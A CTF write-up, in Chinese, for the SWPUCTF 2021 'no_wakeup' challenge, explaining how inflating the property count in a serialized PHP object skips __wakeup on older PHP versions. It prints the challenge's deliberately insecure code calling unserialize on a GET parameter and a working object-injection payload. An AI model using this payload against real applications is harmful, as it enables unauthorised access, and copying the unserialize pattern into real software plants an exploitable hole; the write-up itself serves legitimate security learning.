[SWPUCTF 2021 新生赛]no_wakeup

2023-12-20 20:09:16

__wakeup 绕过

只有一个要点:__wakeup 绕过

__wakeup 魔术方法在执行反序列化时,会被优先调用,而不会调用 __construct 方法。

绕过方法:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过 __wakeup 的执行。

比如:

O:6:"people":3:{s:4:"name";s:6:"张三";s:3:"age";s:2:"18"}

people 后面的值 3 大于真实属性个数 2,在反序列化时不执行 __wakeup。并且此时,反序列化会立刻强制触发 __destruct() 。

漏洞影响版本:PHP 5 < 5.6.25,PHP 7 < 7.0.10

题目代码:

 <?php
    header("Content-type:text/html;charset=utf-8");
	error_reporting(0);
	show_source("class.php");
	class HaHaHa{    
        public $admin;    
        public $passwd;    
        public function __construct(){      
            $this->admin ="user";      
            $this->passwd = "123456";    
        }    
        public function __wakeup(){      
            $this->passwd = sha1($this->passwd);    
        }    
        public function __destruct(){      
            if($this->admin === "admin" && $this->passwd === "wllm"){        
                include("flag.php");        
                echo $flag;      
            }else{        
                echo $this->passwd;        
                echo "No wake up";      
            }    
        }  
    }
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?> 

payload:

<?php
class HaHaHa{
	public $admin="admin";
    public $passwd="wllm";
}
$demo = new HaHaHa;
echo serialize($demo);
?>

得到的序列化字符串为:

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

“HaHaHa” 后面的 2 代表该类的属性有两个,将它改成大于 2 的数字。

所以最终的 payload 为:

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

文章来源:https://blog.csdn.net/m0_73612768/article/details/135115173
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。